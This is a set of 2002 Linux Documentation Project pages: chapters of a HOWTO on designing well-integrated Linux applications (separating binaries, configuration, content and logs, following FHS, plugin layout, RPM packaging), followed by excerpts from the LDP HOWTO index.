Translated and reviewed the most important section of the article: The /opt and /usr/local section.
Revision 1.2 | 23 Feb 2002 | Revised by: avi
English translation at 65%. Doing some corrections to potuguese version also.
Revision 1.1 | 17 Feb 2002 | Revised by: avi
Started english translation.
Revision 1.0 | 16 Feb 2002 | Revised by: avi
First final version of proposed skeleton.
Revision 0.9.6 | 16 Feb 2002 | Revised by: avi
Finished Plugin chapter.
Revision 0.9.5 | 15 Feb 2002 | Revised by: avi
Finished chapter about boot and subsystems.
Revision 0.9.4 | 14 Feb 2002 | Revised by: avi
Finished chapter describing the boot process.
Revision 0.9.3 | 08 Feb 2002 | Revised by: avi
Text and style updates.
Revision 0.9.2 | 07 Feb 2002 | Revised by: avi
Text updates.
Revision 0.9 | 06 Feb 2002 | Revised by: avi
First translation to DocBook.
Table of Contents
1. Introduction
2. User Friendly: Guaranteed Success
2.1. Embrace the Install-and-Use Paradigm
3. The Four Universal Parts of Any Software
3.1. Practical Examples
3.2. The Importance of Clear Separation Between Four Parts
3.3. One Body, Many Souls
4. Linux Directory Hierarchy: Oriented to the Software Parts
4.1. FHS Summary
4.2. Examples Using the FHS
4.3. Friendly Advice: Never use /opt or /usr/local
5. Provide Architecture for Extensions and Plugins
5.1. Abstracting About Plugins
6. Allways Provide RPM Packages of Your Softwares
6.1. Software Package Modularization
7. Security: The Omnipresent Concept
8. Graphical User Interface
8.1. KDE, GNOME, Java or Motif?
8.2. Web Interface: Access from Anywhere
8.3. Wizards and Graphical Installers
9. Starting Your Software Automatically on Boot
9.1. From BIOS to Subsystems
9.2. Runlevels
9.3. The Subsystems
9.4. Turning Your Software Into a Subsystem
9.5. Packaging Your Boot Script
A. Red Hat, About the Filesystem Structure
B. About this Document
Next
Introduction


Introduction

Designing Integrated High Quality Linux Applications
Prev Next

1. Introduction

Linux is becoming more and more popular, and many Software vendors are porting their products from other platformas. This document (article) tries to clarify some issues and give tips on how to create Linux applications highly integrated to the Operating System, security and easy of use.

The examples run on Red Hat Linux, and should be compatible with other distributions based on Red Hat (Conectiva, Turbolinux, Caldera, PLD, Mandrake, etc).

Prev | Home | Next
Designing Integrated High Quality Linux Applications |  | User Friendly: Guaranteed Success


Provide Architecture for Extensions and Plugins

Designing Integrated High Quality Linux Applications
Prev Next

5. Provide Architecture for Extensions and Plugins

You'll probably let other Software vendors plug extensions to your product. Since you are the author of the initial Software, is your responsability to organize it in such a way that the user can simply install the extension RPM and use it, without forcing him modify any configuration file. Is is again the famous Install-and-Use that guarantees ease-of-use.

Well, and extension is nothing more that some files in a right format (DLLs that implements the API your Software defined), put in the right folders (directories your Software looks for extensions). We can see many applications requesting the user to change configuration files to "declare" the presence of a new plugin.

The most important thing to consider in your plugin architecture is to not share files between plugins and your Software. You should provide an architecture where plugins will fully install and uninstall themselves by simply putting and removing files in specific directories, documented in you Software. Good candidates are /usr/lib/myproduct/plugins as the plugins directory, and /etc/myproduct/plugins as the plugins configuration files directory. Your Software and plugins must be sufficient intelligent to know how to find files, specially configurations, in these directories. Using this approach, no post-install procedures is required from the user, and from the plugin provider.

5.1. Abstracting About Plugins

I would like to close this subject inviting the reader a se abstratir and think about any Software can be treated as an extension to the lower level Software. In the same way a third party plugin is an extension to your Software, your Software is also an extension to the OS (lower level). This is where all the Integration (from the title of this document) magic lives. So we can apply all the ease-of-use concepts we discussed before to the plugin architecture design of your Software.

Prev | Home | Next
Linux Directory Hierarchy: Oriented to the Software Parts |  | Allways Provide RPM Packages of Your Softwares


Red Hat, About the Filesystem Structure

Designing Integrated High Quality Linux Applications
Prev Next

A. Red Hat, About the Filesystem Structure

This text was taken from The Official Red Hat Linux Reference Guide

Why Share a Common Structure?

An operating system's filesystem structure is its most basic level of organization. Almost all of the ways an operating system interacts with its users, applications, and security model are dependent upon the way it stores its files on a primary storage device (normally a hard disk drive). It is crucial for a variety of reasons that users, as well as programs at the time of installation and beyond, be able to refer to a common guideline to know where to read and write their binary, configuration, log, and other necessary files.

A filesystem can be seen in terms of two different logical categories of files:

  1. Shareable vs. unsharable files

  2. Variable vs. static files

Shareable files are those that can be accessed by various hosts; unsharable files are not available to any other hosts. Variable files can change at any time without system administrator intervention (whether active or passive); static files, such as documentation and binaries, do not change without an action from the system administrator or an agent that the system administrator has placed in motion to accomplish that task.

The reason for looking at files in this way has to do with the type of permissions given to the directory that holds them. The way in which the operating system and its users need to utilize the files determines the directory where those files should be placed, whether the directory is mounted read-only or read-write, and the level of access allowed on each file. The top level of this organization (/ directory)is crucial, as the access to the underlying directories can be restricted or security problems may manifest themselves if the top level is left disorganized (security=organization) or without a widely-utilized structure.

However, simply having a structure does not mean very much unless it is a standard. Competing structures can actually cause more problems than they fix. Because of this, Red Hat has chosen the most widely-used filesystem structure and extended it only slightly to accommodate special files used within Red Hat Linux.

Prev | Home | Next
Starting Your Software Automatically on Boot |  | About this Document


Allways Provide RPM Packages of Your Softwares

Designing Integrated High Quality Linux Applications
Prev Next

6. Allways Provide RPM Packages of Your Softwares

This is extremely important for many reasons:

  1. Ease-of-use. This is allways the primordial motivation.

  2. Automates some tasks that must be made before and after the installation of your Software. Again bringing ease-of-use.

  3. Intelligently manages configuration files, documentation etc, providing more control in an upgrade

  4. Manages interdependencies with other packages and versions, guaranteeing good functionality.

  5. Lets you distribute Software with your company's digital signature, and makes integrity checks (MD5) in each file, guaranteeing precedence, and reporting unwanted file modification.

  6. Provides tools to let interact with your graphic installer.

But a good package is not only put together your files in a RPM. FHS must be followed, configuration and documentation files must be marked as is, and pre- and post-install scripts must be robust, to not let them damage the system (remember that installation processes is done by root).

Know well RPM because it can bring much power and facilities to you and your user. There are a lot of documentation available about RPM on the Internet:

  • The book Maximum RPM, also available on-line and in printable PostScript format.

  • RPM-HOWTO which is smaller and more straight-forward.

  • www.rpm.org

6.1. Software Package Modularization

You should give user the option to install only the part of your Software he wants. Imagine your Software has a client part and a server part, and both use files and libraries in common. You should break them in 3 RPMs. For instance, lets say the name of your product is MyDB, so you'll provide the packages:

  1. MyDB-common-1.0-3.i386.rpm

  2. MyDB-server-1.0-3.i386.rpm

  3. MyDB-client-1.0-3.i386.rpm

and last 2 packages depends on the first. If the user is installing a client profile, he will use:

  1. MyDB-common-1.0-3.i386.rpm

  2. MyDB-client-1.0-3.i386.rpm

If he is installing a server profile:

  1. MyDB-common-1.0-3.i386.rpm

  2. MyDB-server-1.0-3.i386.rpm

This approach will help the user save disk space, and be aware of how your Software is organized.

Prev | Home | Next
Provide Architecture for Extensions and Plugins |  | Security: The Omnipresent Concept


Security: The Omnipresent Concept

Designing Integrated High Quality Linux Applications
Prev Next

7. Security: The Omnipresent Concept

From a very general perspective, security is synonym of order, conscience. And insecure is everything that makes a system stop without the user wish. So besides open network ports, or weak cryptography (that are beyond the scope of this document), applications that inducts the user to use it only as root, or make him change files in inappropriate places, is considered insecure. We can say the same for the apps that fills a filesystem that is vital to the OS.

Many standards appeared from good practices discussed and developed in conjunction for a long time. So you should know and use them when you'll package your software, because they are key for you to achieve a good organization (security) level.

Prev | Home | Next
Allways Provide RPM Packages of Your Softwares |  | Graphical User Interface


The Four Universal Parts of Any Software

Designing Integrated High Quality Linux Applications
Prev Next

3. The Four Universal Parts of Any Software

The file set of any Application Software, graphical, server-side, commercial, open/free, monolithic etc, has allways four universal parts:

1st :: The Software on its own: the body

The executables, libraries, static-data files, examples, manuals and documentation, etc. Regular users must have read-only access to these files. They are changed only when the system administrator makes an upgrade in this Software.

2nd :: Configuration Files: the soul

These are files that define how the Software will run, how to use the Content, security, performance etc. Without them, the Software on its own is usually useless.

Depending on your Software, specific privileged users may change these files, to make the Software behave as they want.

It is important to provide documentation about the configuration files.

3rd :: Content

Is what receives all the user attention. Is what the user delegated to be managed by your Product. Is what makes a user throw away your product and use the competitors', if it gets damaged.

Are the tables of a database system, the documents for a text editor, the images and HTML pages of a web-server, the servlets and EJBs of an Application Server, etc.

4th :: Logs, Dumps etc

Server Software use to generate access logs, trace files problem determination, temporary files etc. Other types of softwares also use this files, but it is less common.

It is the last class of file, but many times they are the most problem generator for a system administrator, because their volume can surpass even the content size. Due this fact, it is important for you to think in some methodology or facility for this issue, while you are in design time.

3.1. Practical Examples

Let's see how universal is this concept analyzing some types of softwares:

Table 1. Universality of 4 Parts

 | Software on its Own | Configurations | Content | Logs, Dumps etc
Data Base Server | Binaries, libraries, documentations. | Files that define the directory of the data files. For this type of Software, the remaining configurations usually are in special tables inside the database. | Table files, index files, etc. This software use to have whole trees under the same directory. And many times they need several filesystems to guarantee performance. Their local in the system is defined by they Configurations. | For DBs, there are the backup, generated in a daily basis. And the logs are used by the DBA to define indexing strategy. His local on the system is also defined by the Configurations.
Text Processor | The same, templates, modular file format filters, etc | As a user-oriented Software, its configurations must be put in each user's $HOME directory, and are files that defines standard fonts and tabulation, etc. | The documents generated by the user, and they go some place in his $HOME | They show as temporary files that can be huge. User can define their location with a user-friendly dialog (that saves it in some Configuration file)
MP3 generator | Same, audio modular filters | Each user has a configuration file in his $HOME, and contains bitrate preferences etc | Similar to Text Editor | Similar to Text Editor
Web Server | Similar to Data Base | Files that define the Content directory, network and performance parameters, security, etc | Directories where the webmaster deposits his creativity. Again defined by the Configurations | Preciouses access logs, vital for Marketing Intelligence, that are generated in a location and format defined by Configurations
e-Mail Server | Similar to Database and Web-Server | Files that define how to access user database, mail routing rules, etc | The preciouses users mail boxes. Again defined by the Configurations | Mail transfer log, virus detection log, etc. Again defined by the Configurations

Pay attention that the Software on its Own contains all your product business logic, which could be useless if you hadn't a Configuration to define how to work with a data bundle, provided by the user. So, Configurations are what connects your product to the user.

We can use a metaphor about a Sculptor (business logic), that needs Bronze (content) and a Theme or Inspiration (configuration) from a Mecenas (user), to produce a beautiful work (content). He make annotations in his Journal (logs) about his day-by-day activities, to report to his Mecenas (user).

3.2. The Importance of Clear Separation Between Four Parts

OK, so let's be more practical. The fact is, if we correctly use the universal parts concept, we greatly improve the quality of our Product. We'll do that simply separating, encapsulating, each one of these parts in different system directories (having only different files for each part is not sufficient). There is a standard called FHS that defines the Linux directories for each part, and we'll discuss it later in Section 4.

By now let's see the value of this separation to the user:

  1. He gains a clear vision about where is each part, specially his Configurations and Content, and he feels your Product as something completely under control. The clareza brings ease of use, security and confidence in your Product. And in practice it permits him manipulate each part independently

  2. It is clear now that, for instance, when backing up, user action is needed only for Configurations and Content (the puritans will also backup some logs). The user don't have to care about Software on its Own, because it is safe, original, on the product CD, in his shelf.

  3. For upgrades, the new package will overwrite only the business logic, leaving intact the user's precious Configurations and Content. Here is very important to keep old content and configuration compatible, or to provide some tools help migration of data

  4. The logs being kept in a separate filesystem (obviously suggested in your documentation), avoids that their exaggerated growth interfere with the Content, or with the stability of the whole system

  5. If your Software follows some directory standards, the user don't have to reconfigure his system or environment to use it. He will simply Install-and-Use.

Let's make some exercise with separation using as example a system called MySoftware, in which the business logic is in Example 1 and the configuration is in Example 2.

Example 1. A Shell program referring an external configuration file

#!/bin/sh

#############################################################################
##
## /usr/bin/MySoftware
##
## Business logic of MyProgram system.
## Do not change nothing in this file. All configuration can be
## made on /etc/MySoftware.conf
##
## We'll not support any modifications made here.
##

# Default configuration file
CONF=/etc/MySoftware.conf	  (1)

# Minimal content directories
MIN_CONTENT_PATH=/var/www:/var/MySoftware/www	  (2)

if [ -r "$CONF"]; then
        . "$CONF"	  (3)
fi

# All the content I'll serve are the "minimal" plus the ones provided
# by the user in the configuration file $CONF
CONTENT_PATH=$MIN_CONTENT_PATH:$CONF_CONTENT_PATH	  (4)

.
.
.
Definition of the configuration file name.
Definition of some static parameters.
The configuration is readed from an external file, if exists.
After reading the configuration file, all content directories -- user's + product's -- goes together in the $CONTENT_PATH, that will be used from now on.

Example 2. File containing only the configurations for MySoftware

#############################################################################
##
## /etc/MySoftware.conf
##
## Configuration parameters for MySoftware.
## Change as much as you want.
##

# Content directory.
# A ':' separated list of directories for your content.
# The directories /var/www and /var/MySofware are already there, so
# include here your special directories, if any.
CONF_CONTENT_PATH=/var/NewInstance:/var/NewInstance2	  (1)

# Your e-mail address, for notifications.
EMAIL=john@mycompany.com	  (2)

# Logs directory
LOG_DIR=/var/log/myInstance	  (3)
These are user defined parameters.

3.3. One Body, Many Souls

When I was a system administrator for IBM e-business Hosting Services, I was fascinated by Apache's flexibility letting us do things like this:

bash# /usr/sbin/httpd &
bash# /usr/sbin/httpd -f /etc/httpd/dom1.com.br.conf &
bash# /usr/sbin/httpd -f /etc/httpd/dom2.com.br.conf &
bash# /usr/sbin/httpd -f /etc/httpd/dom3.com.br.conf &

If we don't pass any parameter (like the first example), Apache loads its default, hardcoded configuration file from /etc/httpd/conf/httpd.conf. We built other configs, one for each customer, with a completely different structure, IP address, loaded modules, content directory, passwords, domains, log strategy etc.

This same concept is used by a text editor of a multiuser desktop (like Linux). When the code is loaded, it looks for a configuration file on the user's $HOME, and depending who invoked him (user A or B), it will appear differently because each user has its own personal configuration.

The obvious conclusion is that the Software's body (business logic) is pure e completely oriented by his manipulator's spirit (configuration). But the competitive advantage lays on how easy we switch from one spirit to another, like in Apache's example. It is very healthy to promote it to your user. You'll be letting him create intimacy, reliability, confort with your Product.

We used this approach with many different Softwares in that e-business Hosting time, and it was extremely usefull for maintenance etc. In a version migration we had total control over where were each of its parts, and upgraded and downgraded Software with no waste of time, with obvious success.

But there were some Products that refused to work this way. They had so many hardcoded parameters, that we couldn't see what divided the body from their spirit (or other parts). These Softwares were marked as bad guys and discarded/replaced as soon as possible.

We concluded that the good guys Softwares were intuitively blessed by their developer's four parts vision. And they made our life easyer. In fact, in that time we formulated this theory, that continues to prove itself.

Do you want to deploy bad guy or good guy Software?

Prev | Home | Next
User Friendly: Guaranteed Success |  | Linux Directory Hierarchy: Oriented to the Software Parts


User Friendly: Guaranteed Success

Designing Integrated High Quality Linux Applications
Prev Next

2. User Friendly: Guaranteed Success

The user-friendly concept is missassociated with a good GUI (graphical user interface). In fact, it is much more than that. In systems like Linux (with more server-like characteristics), the user measures how easy a Software is, mainly in the installation and initial configuration. He can even forget how easy were to install and use a certain product, but it will never forget that a Software package has a complex configuration and installation process. A migration or new installation allways will be a nightmare, making the user avoid it.

2.1. Embrace the Install-and-Use Paradigm

Imagine you'll install that expansive product your company bought from ACME, and realized you'll have to do the following:

  1. To have a manual that shows the installation process step-by-step. We know that a manual is the last thing the user reads

  2. Read some README files

  3. Uncompress huge files in your disk (after downloading them from net our CD), to create the installation environment

  4. Read more README files that appeared in the installation environment

  5. Comprehend that the installation requires you to execute in a special way some provided script (the inconvenient ./install.sh)

  6. Uncomfortably answer some questions that the script does, like target directory, user for the installation, etc. To make it worse, it frequently happens in a terminal that has a missconfigured backspace

  7. After the installation, configure some environment variables in your profile, like $PATH, $LIBPATH, $ACMEPROGRAM_DATA_DIR, $ACMEPROGRAM_BIN_DIR, etc

  8. Edit OS files to include the presence of the new product (e.g. /etc/inetd.conf, /etc/inittab)

  9. And the worse: Change security permissions of OS directories and files to let the product run OK

Sounds familiar? Who never faced this sad situation, that inducts the user to make mistakes? If your products' installation process sound like Uncompress-Copy-Configure-ConfigureMore-Use, like this one, you have a problem, and the user won't like it.

Users like to feel that your Product integrates well with the OS. You should not demand that the OS adapt himself to your Product (changing environment variables, etc). It must let the user Install-and-Use.

The Install-And-Use glory is easily achieved using a 3 ingredients receipt:

  1. Understanding the Four Universal Parts of Any Software

  2. Understanding how they are related to Linux's directory hierarchy

  3. Aggressively use a package system, for process automation and leverage first items. In our case is RPM.

We'll discuss here what are these ingredients and how to implement them.

Prev | Home | Next
Introduction |  | The Four Universal Parts of Any Software


System Administration and Configuration

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.2. System Administration and Configuration

Topics covered in this section include:

Section 4.2.1 Configuration
Section 4.2.2 Benchmarking
Section 4.2.3 Clustering
Section 4.2.4 Backup
Section 4.2.5 Recovery
Section 4.2.6 Security

4.2.1. Configuration

  • Battery-Powered, Battery Powered Linux Mini-HOWTO

    Updated: December 1997. How to reduce a Linux system's power consumption by tweaking some of its configuration settings.

  • Bootdisk-HOWTO, The Linux Bootdisk HOWTO

    Updated: January 2002. How to design and build your own boot/root diskettes for Linux.

  • BootPrompt-HOWTO, The Linux BootPrompt HOWTO

    Updated: September 2001. A compilation of all the possible boot time arguments that can be passed to the Linux kernel at boot time. Includes all kernel and device parameters.

  • Config-HOWTO, Configuration HOWTO

    Updated: November 2001. Aims at making the fine-tuning of your newly installed Linux box quicker and easier. You will find a set of configurations for the most common applications and services.

  • Filesystems-HOWTO, Filesystems HOWTO

    Updated: August 2000. About filesystems and accessing filesystems.

  • HP-HOWTO, HP HOWTO - Utilisation and Configuration Guide of HP Products under Linux

    Updated: December 2001. Describes the use of products available in the Hewlett-Packard (HP) catalog with Linux and some free software.

  • Installation-HOWTO, The Linux Installation HOWTO

    Updated: January 2002. How to obtain and install Linux software. It is the first document which a new Linux user should read to get started.

  • Kernel-HOWTO, The Linux Kernel HOWTO

    Updated: May 2002. A detailed guide to kernel configuration, compilation, upgrades, and troubleshooting for ix86-based systems.

  • KernelAnalysis-HOWTO, KernelAnalysis-HOWTO

    Updated: May 2002. Explains some things about the Linux Kernel, such as the most important components, how they work, and so on.

  • KickStart-HOWTO, RedHat Linux KickStart HOWTO

    Updated: January 1999. Briefly describes how to use the RedHat Linux KickStart system to rapidly install large numbers of identical Linux boxes.

  • Linux-Crash-HOWTO, Linux Crash HOWTO

    Updated: January 2002. Describes the installation and usage of the LKCD (Linux Kernel Crash Dump) package.

  • Linux+XFS-HOWTO, Linux + XFS HOWTO : Linux on Steroids

    Updated: May 2002. Describes how to build a Linux system that runs on top of the SGI XFS journaling filesystem.

  • MultiOS-HOWTO, Managing Multiple Operating Systems HOWTO

    Updated: February 2000. Covers the procedures for using removable hard disks to install and manage multiple alternative operating systems while leaving a single fixed disk to permanently house and protect the primary operating system.

  • Path, PATH HOWTO

    Updated: November 1997. Describes common tricks and problems with Unix / Linux environment variables, especially with PATH variable.

  • Public-Web-Browser, Linux web browser station

    Updated: October 2000. Describes the setup of Internet kiosk-type system based on Linux to be deployed to provide public Internet/webmail access.

  • Quota, Quota mini-HOWTO

    Updated: April 2002. How to enable file system quota on a Linux host, assigning quota for users and groups, as well as the usage of miscellaneous quota commands.

  • TimePrecision-HOWTO, Managing Accurate Date and Time HOWTO

    Updated: May 2002. Explains the time mechanisms on Linux, what are time zones, and precision with NTP.

  • Visual-Bell, Visible bell mini-Howto

    Updated: December 2001. How to use termcap to configure a visual bell on one's system and describes how to disable audible bells on demand.

4.2.2. Benchmarking

  • Benchmarking-HOWTO, Linux Benchmarking HOWTO

    Updated: August 1997. Discusses some issues associated with the benchmarking of Linux systems and presents a basic benchmarking toolkit.

4.2.3. Clustering

  • Beowulf-HOWTO, Beowulf HOWTO

    Updated: November 1998. Introduces the Beowulf Supercomputer architecture and provides background information on parallel programming, including links to other more specific documents.

4.2.4. Backup

  • ADSM-Backup, Linux ADSM mini-HOWTO

    Updated: January 1997. How to install and use a client for the commercial ADSM backup system for Linux/i386.

  • Backup-With-MSDOS, Backup-With-MSDOS mini-HOWTO

    Updated: August 1997. How to use a Linux-compatible tape drive installed on an MS-DOS machine to back up the filesystem of a Linux machine.

  • Linux-Complete-Backup-and-Recovery-HOWTO, Linux Complete Backup and Recovery HOWTO

    Updated: January 2002. A step-by-step tutorial on how to back up a Linux computer so as to be able to make a bare metal recovery, and how to make that bare metal recovery. Includes some related scripts. "Bare metal recovery" is the process of rebuilding a computer after a catastrophic failure.

4.2.5. Recovery

  • Ext2fs-Undeletion, Linux Ext2fs Undeletion mini-HOWTO

    Updated: February 1999. Presents a discussion of how to retrieve deleted files from a Second Extended File System.

  • Ext2fs-Undeletion-Dir-Struct, Ext2fs Undeletion of Directory Structures

    Updated: November 2000. Describes a straight forward way of recovering whole directory structures, instead of file by file, that have been removed by a misplaced rm -rf

  • LILO-crash-rescue-HOWTO, LILO, Linux Crash Rescue HOWTO

    Updated: March 2002. Discusses methods to recover from Linux system failures.

  • Linux-Complete-Backup-and-Recovery-HOWTO, Linux Complete Backup and Recovery HOWTO

    Updated: January 2002. A step-by-step tutorial on how to back up a Linux computer so as to be able to make a bare metal recovery, and how to make that bare metal recovery. Includes some related scripts. "Bare metal recovery" is the process of rebuilding a computer after a catastrophic failure.

4.2.6. Security

  • Bridge+Firewall, Linux Bridge+Firewall Mini-HOWTO

    Updated: December 1997. A bridge is an intelligent connection wire between two network cards. A firewall is an intelligent insulator.

  • Bridge+Firewall+DSL, Bridge + Firewall + DSL Mini-HOWTO

    Updated: November 2000. Configuring a Linux system to act as a firewall and bridge with a DSL network connection.

  • Domain, Setting Up Your New Domain Mini HOWTO

    Updated: October 2000. Outlines the things you will probably have to do when you want to setup a network of computers under your own domain. Covers configuration of network parameters, network services, and security settings.

  • Firewall-HOWTO, Firewall and Proxy Server HOWTO

    Updated: February 2000. Designed to describe the basics of firewall systems and give you some detail on setting up both a filtering and proxy firewall on a Linux based system.

  • Firewall-Piercing, Firewall Piercing mini-HOWTO

    Updated: November 2001. Directions for using ppp over telnet to do network activities transparently through an Internet firewall.

  • Secure-POP+SSH, Secure POP via SSH mini-HOWTO

    Updated: September 1998. How to set up secure POP connections using ssh.

  • Security-HOWTO, Linux Security HOWTO

    Updated: February 2002. A general overview of security issues that face the administrator of Linux systems.

  • Security-Quickstart-HOWTO, Security Quick-Start HOWTO for Linux

    Updated: February 2002. An overview of the basic steps required to secure a Linux installation from intrusion.

  • Security-Quickstart-Redhat-HOWTO, Security Quick-Start HOWTO for Redhat Linux

    Updated: February 2002. An overview of the basic steps required to secure a Linux installation from intrusion (Redhat specific version).

  • Sentry-Firewall-CD-HOWTO, Sentry Firewall CD HOWTO

    Updated: March 2002. An introduction on how the Sentry Firewall CDROM works and how to get started using the system.

  • Shadow-Password-HOWTO, Linux Shadow Password HOWTO

    Updated: April 1996. How to obtain, install, and configure the Linux password Shadow Suite.

  • Snort-Statistics-HOWTO, Snort-Setup for Statistics HOWTO

    Updated: February 2002. Describes how to configure Snort version 1.8.3 to be used in conjunction with the statistical tools ACID (Analysis Console for Intrusion Databases) and SnortSnarf.

  • Term-Firewall, Using Term to Pierce an Internet Firewall

    Updated: July 1996. Directions for using ``term'' to do network stuff through a TCP firewall that you're not supposed to be able to.

  • User-Authentication-HOWTO, User Authentication HOWTO

    Updated: May 2000. Explains how user and group information is stored and how users are authenticated on a Linux system (PAM), and how to secure you system's user authentication.

Prev | Home | Next
The Linux OS | Up | Hardware


Applications / GUI / Multimedia

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.5. Applications / GUI / Multimedia

Topics covered in this section include:

Section 4.5.1 Installing Applications
Section 4.5.2 User Applications
Section 4.5.3 Server Applications
Section 4.5.4 GUI / Window Managers
Section 4.5.5 Multimedia

4.5.1. Installing Applications

  • RPM-HOWTO, RPM HOWTO - RPM at Idle

    Updated: November 1999. RPM is the RPM Package Manager. It is an open packaging system available for anyone to use. It allows users to take source code for new software and package it into source and binary form such that binaries can be easily installed and tracked and source can be rebuilt easily. It also maintains a database of all packages and their files that can be used for verifying packages and querying for information about files and/or packages.

  • RPM-for-Unix-HOWTO, RPM-for-Unix HOW-TO

    Updated: February 2002. This document will help you to setup the Redhat RPM program on various Unix operating systems.

  • RPM+Slackware, RPM+Slackware Mini-Howto

    Updated: April 1998. How to get RPM installed and working properly under Slackware.

  • Software-Building-HOWTO, Building and Installing Software Packages for Linux

    Updated: July 1999. A comprehensive guide to building and installing "generic" UNIX software distributions under Linux.

4.5.2. User Applications

  • 3D-Modelling, 3D Graphics Modelling and Rendering mini-HOWTO

    Updated: March 2001. Details download and installation instructions for a graphics rendering and modelling development environment using RedHat Linux.

  • AI-Alife-HOWTO, Linux AI & Alife HOWTO

    Updated: June 2001. Information about, and links to, various AI related software libraries, applications, etc. that work on the Linux platform.

  • Astronomy-HOWTO, Linux Astronomy HOWTO

    Updated: June 2001. Document shares tips and resources to utilize Linux solutions in the pursuit of Astronomy.

  • Bzip2, Bzip2 mini-HOWTO

    Updated: August 1999. How to use the new bzip2 compression program.

  • Commercial-HOWTO, Linux Commercial HOWTO

    Updated: March 1999. A listing of commercial software and applications which are offered for Linux.

  • Emacs-Beginner-HOWTO, Emacs Beginner's HOWTO

    Updated: March 2001. Introduces Linux users to the Emacs editor.

  • Emacspeak-HOWTO, Installing Emacspeak HOWTO

    Updated: December 2001. Installation instructions for the Emacspeak audio desktop application for Linux.

  • Game-Server-HOWTO, Game Server HOWTO

    Updated: July 2001. Explains how to install, configure and maintain servers for various popular multiplayer games.

  • GIS-GRASS, GIS-GRASS mini-HOWTO

    Updated: November 1997. How to acquire, install and configure a powerful scientific public-domain Geographic Information System (GIS): the Geographic Resources Analysis Support System (GRASS).

  • IPMasquerading+Napster, IPMasquerading+Napster mini-HOWTO

    Updated: April 2000. Present a way to allow users behind an IPMasq'd system to use Napster.

  • IRC, Linux IRC mini-HOWTO

    Updated: July 2001. Describes the basics of IRC and respective applications for Linux.

  • Linux-Gamers-HOWTO, The Linux Gamers' HOWTO

    Updated: May 2002. A stepping stone to get the most common problems resolved and to give people the knowledge to begin thinking intelligently about what is going on with their games.

  • LinuxGL-QuakeWorld-mini-HOWTO, LinuxGL (GLX) QuakeWorld Client compile mini-HOWTO

    Updated: January 2001. How to get the OpenGL/GLX Linux QuakeWorld client compiled and working on systems with standard OpenGL hardware acceleration support.

  • Mail-User-HOWTO, The Linux Mail User HOWTO

    Updated: February 2001. An introduction to the world of electronic mail (email) under Linux. Focuses on user-level issues and typical configurations for Linux home and small-business machines connected to the net via an ISP.

  • Mutt-GnuPG-PGP-HOWTO, Mutt-i, GnuPG and PGP HOWTO

    Updated: February 2000. Briefly explains how to configure Mutt-i, PGP and GnuPG in its different versions (2.6.x, 5.x and GnuPG).

  • NetMeeting-HOWTO, Linux NETMEETING HOWTO

    Updated: January 2002. Describes how to make Microsoft NetMeeting interoperate with Linux.

  • Outlook-to-Unix-Mailbox, MS Outlook to Unix Mailbox Conversion mini HOWTO

    Updated: January 2002. Covers conversion of old email in Microsoft Outlook (not Outlook Express!) to typical Unix file formats.

  • Pine-Exchange, Pine-Exchange mini-HOWTO

    Updated: March 2002. Documents the configuration of the Pine email client to be used with a Microsoft Exchange Server.

  • Quake-HOWTO, Linux Quake HOWTO

    Updated: December 1998. How to install, run and troubleshoot Quake, QuakeWorld and Quake II on an Intel Linux system.

  • Sat-HOWTO, Sat (Satellite Technology) HOWTO

    Updated: December 2001. Investigates "State of Art" Sat connections in a Linux environment; how to get them faster and how to share them with many clients.

  • Sound-Playing-HOWTO, The Linux Sound Playing HOWTO

    Updated: August 1998. Lists applications for Linux that play various sound formats.

  • Speech-Recognition-HOWTO, Speech Recognition HOWTO

    Updated: April 2002. Automatic Speech Recognition (ASR) on Linux is becoming easier. Several packages are available for users as well as developers. This document describes the basics of speech recognition and describes some of the available software.

  • StarOffice, StarOffice 3.1 Mini-HOWTO

    Updated: November 1999. Information on installing the StarOffice 3.1 Office Suite by StarDivision.

  • TeTeX-HOWTO, The teTeX HOWTO: The Linux-teTeX Local Guide

    Updated: November 1998. Covers the basic installation and usage of the teTeX TeX and LaTeX implementation, plus auxiliary packages like Ghostscript.

  • TkRat, TkRat mini-HOWTO

    Updated: September 1999. Geared toward anyone interested in using their Linux computer to send and receive Internet E-Mail.

  • Vim-HOWTO, Vim Color Editor HOWTO (Vi Improved w/syntax color highlighting)

    Updated: April 2002. A guide to very quickly setup Vim color editor on Linux or Unix systems.

  • VoIP-HOWTO, VoIP Howto

    Updated: April 2002. Voice Over IP is a new communication means that let you telephone with Internet at almost null cost. This document covers how this is done.

  • Wireless-Sync-HOWTO, Wireless Sync HOWTO

    Updated: December 2001. Explains how to perform a wireless, network sync between a Handspring Visor and jpilot or jpilot-sync.

  • WordPerfect, WordPerfect Mini-howto

    Updated: August 1997. Discusses running WordPerfect on Linux, including a brief discussion on the WordPerfect 7.0 beta.

  • Xterm-Title, How to change the title of an xterm

    Updated: October 1999. How to use escape sequences to dynamically change window and icon titles of an xterm.

4.5.3. Server Applications

4.5.3.1. DBMS / Databases

  • DB2-HOWTO, DB2 Version 7.1 for Linux HOWTO

    Updated: June 2001. Explicit instructions on installing DB2 Universal Database Version 7.1 for Linux on the following Intel x86-based distributions: Caldera OpenLinux 2.4, Debian, Red Hat Linux 6.2, SuSE Linux 6.2 and 6.3, and TurboLinux 6.0.

  • IngresII-HOWTO, Ingres II HOWTO

    Updated: September 2001. Helps install the Ingres II Relational Database Management System on Linux.

  • MMBase, MMBase Mini-HOWTO: Installation on Debian Woody

    Updated: October 2001. Describes how to set up MMBase on a Debian GNU/Linux (Woody) system.

  • Oracle-7-HOWTO, Oracle 7 Database HOWTO

    Updated: August 1998. A guide to installing and configuring the Oracle 7 Database Server on a Linux system.

  • Oracle-8-HOWTO, Oracle (8) for Linux Installation HOWTO

    Updated: June 2000. A guide to installing and configuring the Oracle 8i Enterprise Edition for Linux.

  • PostgreSQL-HOWTO, Database-SQL-RDBMS HOWTO for Linux

    Removed: January 2002. This HOWTO has been removed for review. Please visit the official PostgreSQL site for information on this topic.

  • Sybase-ASA-HOWTO, Sybase Adaptive Server Anywhere for Linux HOWTO

    Updated: April 2001. Guides you through the installation of SQL Anywhere Studio 7.0.2 for Linux and the basic operation and administration of Adaptive Server Anywhere databases.

  • Sybase-PHP-Apache, Sybase-PHP-Apache mini-HOWTO

    Updated: July 2001. Explains how to set up a Linux machine to run an Apache web server using PHP to access a Sybase-ASE database.

  • WWW-mSQL-HOWTO, A mSQL and perl Web Server HOWTO

    Updated: September 1997. How to build a SQL client/server database using WWW and HTML for the user interface.

4.5.3.2. Mail

